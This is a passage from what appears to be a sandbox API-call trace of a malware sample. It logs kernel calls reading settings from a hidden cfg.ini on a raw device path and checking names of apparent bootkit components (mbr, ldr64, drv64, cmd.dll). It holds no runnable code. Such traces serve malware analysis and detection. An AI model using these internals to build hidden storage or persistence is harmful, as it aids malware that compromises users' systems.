ReleaseMutex (hMutex=0x100) returned 1 [0119.345] Sleep (dwMilliseconds=0x2bf20) [0119.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a564ff0, dwHighDateTime=0x1d24fa4)) [0119.352] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.352] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.352] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.352] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.352] KeEnterCriticalRegion () [0119.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.352] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.352] IdePortDispatch () returned 0x103 [0119.352] KeWaitForMutexObject () returned 0x0 [0119.353] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.353] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.353] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.353] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.353] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.353] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb5b0 [0119.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.353] KeLeaveCriticalRegion () [0119.353] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.353] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.353] KeEnterCriticalRegion () [0119.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.353] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.353] KeLeaveCriticalRegion () [0119.353] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.353] KeEnterCriticalRegion () [0119.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.353] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.353] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.353] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.353] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.353] IdePortDispatch () returned 0x103 [0119.353] KeWaitForMutexObject () returned 0x0 [0119.353] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.353] KeLeaveCriticalRegion () [0119.353] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.353] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.353] KeEnterCriticalRegion () [0119.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.353] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfb000 [0119.353] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.353] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.353] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.353] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.354] IdePortDispatch () returned 0x103 [0119.354] KeWaitForMutexObject () returned 0x0 [0119.354] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.354] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.354] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.354] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.354] IdePortDispatch () returned 0x103 [0119.354] KeWaitForMutexObject () returned 0x0 [0119.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.354] KeLeaveCriticalRegion () [0119.354] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.354] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.354] KeEnterCriticalRegion () [0119.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.355] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.355] KeLeaveCriticalRegion () [0119.355] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.355] KeEnterCriticalRegion () [0119.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.355] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.355] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.355] KeLeaveCriticalRegion () [0119.355] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.355] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.355] KeEnterCriticalRegion () [0119.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.355] ExFreePoolWithTag (P=0xfffffa8003bcb5b0, Tag=0x0) [0119.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.355] KeLeaveCriticalRegion () [0119.355] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.355] ReleaseMutex (hMutex=0xf0) returned 1 [0119.355] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.355] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.355] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.355] KeEnterCriticalRegion () [0119.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.355] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.355] IdePortDispatch () returned 0x103 [0119.355] KeWaitForMutexObject () returned 0x0 [0119.355] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.355] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.355] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.355] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.355] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.355] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcbb50 [0119.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.355] KeLeaveCriticalRegion () [0119.355] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.356] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.356] KeEnterCriticalRegion () [0119.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.356] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.356] KeLeaveCriticalRegion () [0119.356] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.356] KeEnterCriticalRegion () [0119.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.356] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.356] IdePortDispatch () returned 0x103 [0119.356] KeWaitForMutexObject () returned 0x0 [0119.356] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.356] KeLeaveCriticalRegion () [0119.356] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.356] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.356] KeEnterCriticalRegion () [0119.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.356] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfc000 [0119.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.356] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.356] IdePortDispatch () returned 0x103 [0119.356] KeWaitForMutexObject () returned 0x0 [0119.357] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.357] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.357] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.357] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.357] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.357] IdePortDispatch () returned 0x103 [0119.357] KeWaitForMutexObject () returned 0x0 [0119.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.357] KeLeaveCriticalRegion () [0119.357] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.357] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.357] KeEnterCriticalRegion () [0119.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.357] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.357] KeLeaveCriticalRegion () [0119.357] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.357] KeEnterCriticalRegion () [0119.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.357] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.357] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.357] KeLeaveCriticalRegion () [0119.357] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.358] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.358] KeEnterCriticalRegion () [0119.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.358] ExFreePoolWithTag (P=0xfffffa8003bcbb50, Tag=0x0) [0119.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.358] KeLeaveCriticalRegion () [0119.358] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.358] ReleaseMutex (hMutex=0xf0) returned 1 [0119.358] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.358] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.358] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.358] KeEnterCriticalRegion () [0119.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.358] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.358] IdePortDispatch () returned 0x103 [0119.358] KeWaitForMutexObject () returned 0x0 [0119.358] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.358] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.358] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.358] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.358] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.358] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb2b0 [0119.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.358] KeLeaveCriticalRegion () [0119.358] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.358] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.358] KeEnterCriticalRegion () [0119.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.358] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.358] KeLeaveCriticalRegion () [0119.358] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.358] KeEnterCriticalRegion () [0119.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.359] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.359] IdePortDispatch () returned 0x103 [0119.359] KeWaitForMutexObject () returned 0x0 [0119.359] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.359] KeLeaveCriticalRegion () [0119.359] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.359] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.359] KeEnterCriticalRegion () [0119.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.359] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfd000 [0119.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.359] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.359] IdePortDispatch () returned 0x103 [0119.359] KeWaitForMutexObject () returned 0x0 [0119.359] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.359] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.359] IdePortDispatch () returned 0x103 [0119.359] KeWaitForMutexObject () returned 0x0 [0119.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.360] KeLeaveCriticalRegion () [0119.360] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.360] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.360] KeEnterCriticalRegion () [0119.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.360] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.360] KeLeaveCriticalRegion () [0119.360] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.360] KeEnterCriticalRegion () [0119.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.360] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.360] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.360] KeLeaveCriticalRegion () [0119.360] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.360] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.360] KeEnterCriticalRegion () [0119.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.360] ExFreePoolWithTag (P=0xfffffa8003bcb2b0, Tag=0x0) [0119.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.360] KeLeaveCriticalRegion () [0119.360] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.360] ReleaseMutex (hMutex=0xf0) returned 1 [0119.360] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.361] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.361] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.361] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.361] KeEnterCriticalRegion () [0119.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.361] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.361] IdePortDispatch () returned 0x103 [0119.361] KeWaitForMutexObject () returned 0x0 [0119.361] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.361] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.361] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.361] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.361] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.361] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.361] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.361] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.361] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.361] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.361] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.361] _strnicmp (_Str1="", 